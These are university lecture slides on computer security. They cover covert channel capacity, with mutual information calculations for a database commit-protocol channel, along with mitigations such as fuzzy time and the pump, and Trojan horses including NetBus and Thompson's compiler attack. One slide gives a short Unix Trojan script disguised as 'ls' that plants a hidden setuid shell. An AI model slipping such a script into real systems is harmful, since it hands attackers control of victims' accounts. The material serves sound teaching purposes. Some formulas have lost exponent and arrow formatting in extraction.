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Measuring Capacity

• Intuitively, difference between

unmodulated, modulated channel

– Normal uncertainty in channel is 8 bits

– Attacker modulates channel to send

information, reducing uncertainty to 5 bits

– Covert channel capacity is 3 bits

• Modulation in effect fixes those bits
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Formally

• Inputs:

– A input from Alice (sender)

– V input from everyone else

– X output of channel

• Capacity measures uncertainty in X given A

• In other terms: maximize

I(A; X) = H(X) – H(X | A)

with respect to A
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Example (continued)

• If A, V independent, p=p(A=0), q=p(V=0):
– p(A=0,V=0) = pq

– p(A=1,V=0) = (1–p)q

– p(A=0,V=1) = p(1–q)

– p(A=1,V=1) = (1–p)(1–q)

• So
– p(X=0) = p(A=0,V=0)+p(A=1,V=1)

= pq + (1–p)(1–q)

– p(X=1) = p(A=0,V=1)+p(A=1,V=0)

= (1–p)q + p(1–q)
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More Example

• Also:

– p(X=0|A=0) = q

– p(X=0|A=1) = 1–q

– p(X=1|A=0) = 1–q

– p(X=1|A=1) = q

• So you can compute:

– H(X) = –[(1–p)q + p(1–q)] lg [(1–p)q + p(1–q)]

– H(X|A) = –q lg q – (1–q) lg (1–q)

– I(A;X) = H(X)–H(X|A)
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I(A;X)

I(A; X) = – [pq + (1 – p)(1 – q)] lg [pq + (1 – p)(1 – q)] –

[(1 – p)q + p(1 – q)] lg [(1 – p)q + p(1 – q)] +

q lg q + (1 – q) lg (1 – q)

• Maximum when p = 0.5; then
I(A;X) = 1 + q lg q + (1–q) lg (1–q) = 1–H(V)

• So, if V constant, q = 0, and I(A;X) = 1

• Also, if q = p = 0.5, I(A;X) = 0
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Analyzing Capacity

• Assume a noisy channel

• Examine covert channel in MLS

database that uses replication to ensure

availability

– 2-phase commit protocol ensures atomicity

– Coordinator process manages global

execution

– Participant processes do everything else
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How It Works

• Coordinator sends message to each
participant asking whether to abort or commit
transaction
– If any says “abort”, coordinator stops

• Coordinator gathers replies
– If all say “commit”, sends commit messages back

to participants

– If any says “abort”, sends abort messages back to
participants

– Each participant that sent commit waits for reply;
on receipt, acts accordingly
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Exceptions

• Protocol times out, causing party to act

as if transaction aborted, when:

– Coordinator doesn’t receive reply from

participant

– Participant who sends a commit doesn’t

receive reply from coordinator
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Covert Channel Here

• Two types of components

– One at Low security level, other at High

• Low component begins 2-phase commit

– Both High, Low components must cooperate in the

2-phase commit protocol

• High sends information to Low by selectively

aborting transactions

– Can send abort messages

– Can just not do anything
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Note

• If transaction always succeeded except

when High component sending

information, channel not noisy

– Capacity would be 1 bit per trial

– But channel noisy as transactions may

abort for reasons other than the sending of

information
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Analysis

• X random variable: what High user wants to
send
– Assume abort is 1, commit is 0

– p = p(X=0) probability High sends 0

• A random variable: what Low receives
– For noiseless channel X = A

• n+2 users
– Sender, receiver, n others

– q probability of transaction aborting at any of these
n users
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Basic Probabilities

• Probabilities of receiving given sending

– p(A=0|X=0) = (1–q)n

– p(A=1|X=0) = 1–(1–q)n

– p(A=0|X=1) = 0

– p(A=1|X=1) = 1

• So probabilities of receiving values:

– p(A=0) = p(1–q)n

– p(A=1) = 1–p(1–q)n
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More Probabilities

• Given sending, what is receiving?

– p(X=0|A=0) = 1

– p(X=1|A=0) = 0

– p(X=0|A=1) = p[1–(1–q)n] / [1–p(1–q)n]

– p(X=1|A=1) = (1–p) / [1–p(1–q)n]
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Entropies

• H(X) = –p lg p – (1–p) lg (1–p)

• H(X|A) = –p[1–(1–q)n] lg p

– p[1–(1–q)n] lg [1–(1–q)n]

+ [1–p(1–q)n] lg [1–p(1–q)n]

– (1–p) lg (1–p)

• I(A;X) = –p(1–q)n lg p

+ p[1–(1–q)n] lg [1–(1–q)n]

– [1–p(1–q)n] lg [1–p(1–q)n]
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Capacity

• Maximize this with respect to p

(probability that High sends 0)

– Notation: m = (1–q)n, M = (1–m)(1–m)

– Maximum when p = M / (Mm+1)

• Capacity is:
I(A;X) = Mm lg p + M(1–m) lg (1–m) + lg (Mm+1)

(Mm+1)
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Mitigation of Covert Channels

• Problem: these work by varying use of shared
resources

• One solution
– Require processes to say what resources they

need before running

– Provide access to them in a way that no other
process can access them

• Cumbersome
– Includes running (CPU covert channel)

– Resources stay allocated for lifetime of process
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Alternate Approach

• Obscure amount of resources being

used

– Receiver cannot distinguish between what

the sender is using and what is added

• How? Two ways:

– Devote uniform resources to each process

– Inject randomness into allocation, use of

resources
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Uniformity

• Variation of isolation

– Process can’t tell if second process using
resource

• Example: KVM/370 covert channel via
CPU usage

– Give each VM a time slice of fixed duration

– Do not allow VM to surrender its CPU time
• Can no longer send 0 or 1 by modulating CPU

usage
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Randomness

• Make noise dominate channel
– Does not close it, but makes it useless

• Example: MLS database
– Probability of transaction being aborted by user

other than sender, receiver approaches 1
• q ! 1

– I(A; X) ! 0

– How to do this: resolve conflicts by aborting
increases q, or have participants abort
transactions randomly
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Problem: Loss of Efficiency

• Fixed allocation, constraining use

– Wastes resources

• Increasing probability of aborts

– Some transactions that will normally

commit now fail, requiring more retries

• Policy: is the inefficiency preferable to

the covert channel?
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Example

• Goal: limit covert timing channels on
VAX/VMM

• “Fuzzy time” reduces accuracy of system
clocks by generating random clock ticks
– Random interrupts take any desired distribution

– System clock updates only after each timer
interrupt

– Kernel rounds time to nearest 0.1 sec before
giving it to VM

• Means it cannot be more accurate than timing of
interrupts



May 24, 2006  ECS 289M, Foundations of Computer

and Information Security

Slide 23

Example

• I/O operations have random delays

• Kernel distinguishes 2 kinds of time:
– Event time (when I/O event occurs)

– Notification time (when VM told I/O event
occurred)

• Random delay between these prevents VM from figuring
out when event actually occurred)

• Delay can be randomly distributed as desired (in security
kernel, it’s 1–19ms)

– Added enough noise to make covert timing
channels hard to exploit
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Improvement

• Modify scheduler to run processes in

increasing order of security level

– Now we’re worried about “reads up”, so …

• Countermeasures needed only when

transition from dominating VM to

dominated VM

– Add random intervals between quanta for

these transitions
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The Pump

• Tool for controlling communications path

between High and Low

communications buffer

Low process High process

High
buffer

Low
buffer
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Details

• Communications buffer of length n
– Means it can hold up to n messages

• Messages numbered

• Pump ACKs each message as it is moved
from High (Low) buffer to communications
buffer

• If pump crashes, communications buffer
preserves messages
– Processes using pump can recover from crash
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Covert Channel

• Low fills communications buffer
– Send messages to pump until no ACK

– If High wants to send 1, it accepts 1 message from
pump; if High wants to send 0, it does not

– If Low gets ACK, message moved from Low buffer
to communications buffer " High sent 1

– If Low doesn’t get ACK, no message moved  "
High sent 0

• Meaning: if High can control rate at which
pump passes messages to it, a covert timing
channel
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Performance vs. Capacity

• Assume Low process, pump can
process messages more quickly than
High process

• Li random variable: time from Low
sending message to pump to Low
receiving ACK

• Hi random variable: average time for
High to ACK each of last n messages
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Case1: E(Li) > Hi

• High can process messages more quickly
than Low can get ACKs

• Contradicts above assumption
– Pump must be delaying ACKs

– Low waits for ACK whether or not communications
buffer is full

• Covert channel closed

• Not optimal
– Process may wait to send message even when

there is room
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Case 2: E(Li) < Hi

• Low sending messages faster than High

can remove them

• Covert channel open

• Optimal performance
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Case 3: E(Li) = Hi

• Pump, processes handle messages at

same rate

• Covert channel open

– Bandwidth decreased from optimal case

(can’t send messages over covert channel

as fast)

• Performance not optimal
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Adding Noise

• Shown: adding noise to approximate case 3

– Covert channel capacity reduced to 1/nr where r

time from Low sending message to pump to Low

receiving ACK when communications buffer not

full

– Conclusion: use of pump substantially reduces

capacity of covert channel between High, Low

processes when compared to direct connection
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Trojan Horse

• Program with an overt purpose (known
to user) and a covert purpose (unknown
to user)

– Often called a Trojan

– Named by Dan Edwards in Anderson
Report
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Example

• Shell script on a UNIX system:
cp /bin/sh /tmp/.xyzzy

chmod u+s,o+x /tmp/.xyzzy

rm ./ls

ls $*

• Place in program called “ls” and trick

someone into executing it

• You now have a setuid-to-them shell!
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Example: NetBus

• Designed for Windows NT system

• Victim uploads and installs this
– Usually disguised as a game program, or in one

• Acts as a server, accepting and executing
commands for remote administrator
– This includes intercepting keystrokes and mouse

motions and sending them to attacker

– Also allows attacker to upload, download files
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Replicating Trojan Horse

• Trojan horse that makes copies of itself

– Also called propagating Trojan horse

– Early version of animal game used this to delete copies of

itself

• Hard to detect

– 1976: Karger and Schell suggested modifying compiler to

include Trojan horse that copied itself into specific programs

including later version of the compiler

– 1980s: Thompson implements this
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Thompson's Compiler

• Modify the compiler so that when it compiles login ,
login accepts the user's correct password or a fixed
password (the same one for all users)

• Then modify the compiler again, so when it compiles
a new version of the compiler, the extra code to do
the first step is automatically inserted

• Recompile the compiler

• Delete the source containing the modification and put
the undoctored source back
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login source correct compiler login executable

user password

login source doctored compiler login executable

magic password

user password or

logged in

logged in

The Login Program
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compiler source correct compiler compiler executable

login source

compiler source doctored compiler compiler executable

correct login executable

login source

rigged login executable

The Compiler
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Comments

• Great pains taken to ensure second version of

compiler never released

– Finally deleted when a new compiler executable from a

different system overwrote the doctored compiler

• The point: no amount of source-level verification or

scrutiny will protect you from using untrusted code

– Also: having source code helps, but does not ensure you’re

safe


